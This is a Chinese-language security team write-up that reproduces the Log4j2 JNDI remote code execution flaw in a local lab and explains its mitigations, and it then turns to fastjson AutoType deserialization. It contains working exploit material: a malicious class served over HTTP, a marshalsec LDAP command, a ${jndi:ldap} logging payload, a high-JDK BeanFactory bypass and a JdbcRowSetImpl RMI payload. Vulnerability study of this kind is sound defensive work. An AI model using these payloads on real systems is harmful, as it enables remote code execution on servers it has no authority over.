背景

2021年12月初,极光安全团队通过安全威胁舆情发现Apache Log4j2 存在远程代码执行漏洞,迅速对该漏洞危害性评估和涉及面漏斗分析,制定了应急响应方案,对涉及到的代码组件类和主机资产类快速整理,外部安全扫描对该漏洞进行优先级扫描,避免威胁进一步扩大和阻断,对内推动该漏洞版本组件的修复进度,持续关注该漏洞组件的后续发展。

本文通过构造环境复现漏洞,了解这个漏洞产生的原因,分析修复漏洞方法,研究学习背后的相关技术。

漏洞影响

Log4j2作为java代码项目中广泛使用的开源日志组件,漏洞影响范围极广,堪称史诗级、核弹级漏洞。

  • 直接和间接依赖Log4j2的开源组件总计有17万个,也就是说有至少17万个开源组件是受Log4j2漏洞影响。
  • GitHub作为全球最大的开源代码托管平台,抽样分析发现至少5.8%的java开源项目受该漏洞影响。
  • 在java语言的开源组件流行度排行中,Log4j2列第13位

漏洞复现

利用漏洞攻击过程

null

复现代码

github地址

https://github.com/zheng93775/log4j2-attack

按照README.md里面的步骤可以完整运行整个流程

模块说明

模块 说明
business-app 正常的业务应用
marshalsec 攻击方搭建,用于启动LDAP服务的开源工具
evil-http-server 攻击方搭建,启动Http服务,提供恶意代码下载

evil-http-server

首先我们准备一个含有恶意执行代码的类,恶意代码执行时会在Windows下启动计算器

public class EvilObject {
    static {
        try {
            Runtime runtime = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process process = runtime.exec(commands);
            process.waitFor();
        } catch (Exception e) {
        }
    }
}

使用SpringMVC的Controller,http请求返回的相应是恶意类的二进制字节码

@Controller
public class EvilController {

    @GetMapping("/EvilObject.class")
    public void code(HttpServletResponse response) throws IOException {
        InputStream is = new ClassPathResource("EvilObject.class").getInputStream();
        byte[] bytes = IOUtils.toByteArray(is);
        response.getOutputStream().write(bytes);
    }
}

编译后,启动服务,监听9090端口

mvn clean package
java -jar evil-http-server.jar

marshalsec

marshalsec是一款开源的工具,可以用于快速启动LDAP服务

首先编译项目,然后运行jar启动LDAP服务

mvn clean package -DskipTests
java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9090/#EvilObject" 9999

business-app

business-app代表正常的业务方java应用,为了方便复现,跳过正常http服务请求过程,启动后直接记录日志

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Main.class);
        logger.error("${java:version}");
        logger.error("${jndi:ldap://127.0.0.1:9999/EvilObject.class}");
    }
}

符合漏洞条件的Windows系统环境下运行Main.java,就会成功打开计算器

相关技术

JNDI

什么是JNDI

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录服务接口。是SUN公司提供的一种标准的Java命名系统接口,在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法就可以查找出某个名称所绑定的Java对象。

JNDI架构

JNDI 架构上主要包含两个部分,Java 的应用层接口 和 SPI。

null

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了RMI、LDAP、CORBA等内置的目录服务

为什么要用JNDI

JNDI是java语言产生漏洞的一个比较大的因素,我们平时在业务开发中基本没有使用到,那么为什么log4j2的代码要支持jndi呢?

  1. JNDI 提出的目的是为了解耦,是为了开发更加容易维护,容易扩展,容易部署的应用。
  2. JNDI 是一个Sun提出的一个规范(类似于JDBC),具体的实现是各个厂商实现的,可以看出,老外还是非常认可这个规范,很多地方做了很多解耦的设计,包括Log4J。
  3. JNDI 在J2EE系统中的角色是"交换机",是J2EE组件在运行时间接地查找其他组件、资源或服务的通用机制。
  4. JNDI 是通过资源的名字来查找的,资源的名字在整个J2EE应用中是唯一的。

除了Log4j,还有很多组件用了JNDI,比如:Hibernate、JTA、Tomcat、WebLogic、WebSphere

LDAP

全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议。

LDAP是开放的Internet标准,支持跨平台的Internet协议,在业界中得到广泛认可的,并且市场上或者开源社区上的大多产品都加入了对LDAP的支持,因此对于这类系统,不需单独定制,只需要通过LDAP做简单的配置就可以与服务器做认证交互。

修复漏洞方法分析

升级log4j2

log4j漏洞受影响的版本为2.0至2.15.0.rc1,建议升级至2.17.0及以上正式版本

2.15.0.rc1

漏洞爆出的当天,2.15.0.rc1修复版本就出来了。JndiManager.lookup方法进行了修改,增加了白名单校验,但是代码有个问题,catch住异常后代码仍然可以往下执行,攻击者在${jndi}的地址中增加一个空格就可以触发URISyntaxException,绕过白名单校验。

null

2.15.0.rc2

这个版本解决了rc1的问题

null

虽然也有爆出漏洞,但是条件比较苛刻,能利用的可能性很小,还是比较安全的。如果已经升到2.15.0,应用本身不直接对外网提供服务,也可以选择不升级到更新版本。

在某些非默认配置中,发现Apache Log4j 2.15.0中解决CVE-2021-44228的修复是不完整的。这可能允许攻击者控制线程上下文映射(MDC)输入数据,当日志记录配置使用非默认的模式布局,使用上下文查找(例如,$${ctx:loginId})或线程上下文映射模式(%X, % MDC,或%MDC),使用JNDI查找模式生成恶意的输入数据,从而导致拒绝服务(DOS)攻击。

引文:https://github.com/cckuailong/Log4j_CVE-2021-45046

2.16.0

更新内容如下

  • 默认禁用JNDI的访问,用户需要通过配置log4j2.enableJndi参数开启
  • 默认允许协议限制为:java、ldap、ldaps,并将ldap协议限制为仅可访问Java原始对象
  • Message Lookups被完全移除,加固漏洞的防御

JNDI远程执行漏洞被彻底封死了,但是还有拒绝服务漏洞

Apache官方发布了Apache Log4j 拒绝服务攻击漏洞(CVE-2021-45105),此漏洞需要在非默认配置下才能触发。当系统日志配置使用带有Context Lookups的非默认 Pattern Layout(例如$${ctx:loginId})时,攻击者可构造包含递归查找的恶意输入数据,成功利用此漏洞将触发无限循环,导致系统崩溃。

这个漏洞首要前提条件比较苛刻,已经升级到2.16.0的可以选择不升级到更新版本

升级JDK小版本

升级 jdk 版本至 6u211 / 7u201 / 8u191 / 11.0.1 以上,可以在一定程度上限制 JNDI 等漏洞利用方式。

JDK高版本有什么不同呢

高版本增加了一个变量com.sun.jndi.ldap.object.trustURLCodebase,这个变量的值默认为false。除非我们加入如下代码手动复制为true,才可以在高版本复现漏洞。

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", true);

JDK高版本也存在漏洞

绕过方式:LDAP服务Codebase不返回地址,而是返回一个本地已有的Factory类,通过Factory类创建指定参数的实例实现攻击。比如Tomcat中存在的org.apache.naming.factory.BeanFactory。LDAP返回示例如下

JavaFactory=org.apache.naming.factory.BeanFactory
javaClassName=javax.el.ELProcessor
x=恶意代码

通过配置关闭log4j的jndi查找功能

有以下几种方式

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”
  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true
  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

注意,由于这个配置项的判断逻辑是2.10版本才加上的,这种方式对于2.0 <= log4j版本 < 2.10无效

null

删除log4j-core-2.x.jar中的JndiLookup类

在以前的版本(<2.16.0)中,可以通过从类路径中删除JndiLookup类来缓解这个问题。不建议使用这种方式,某些特殊项目不便升级log4j的情况下可以考虑。

zip -q -d log4j-core-*.jar org/apache/loging/log4j/core/lookup/jndilookup .class

fastjson漏洞分析

2019年fastjson被爆出远程代码执行漏洞,当时国内使用了fastjson的项目非常多,影响面也非常广,并且漏洞的修复持续了N个版本。那么,fastjson具体是存在什么漏洞呢?

漏洞和fastjson中的一个AutoType特性,我们先来看看AutoType是什么。

AutoType

来看一个示例

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

序列化

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
// toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

反序列化

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple) newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

为了解决这个问题,fastjson引入了AutoType

String jsonString = JSON.toJSONString(store, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);

序列化后的字符串多了@type字段,反序列化时就可以定位到具体的类型了

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

利用漏洞攻击过程

思路是指定@type的值为某个特殊的类,比如

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}

Java应用使用fastjson反序列化这个字符串,创建JdbcRowSetImpl类对象,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。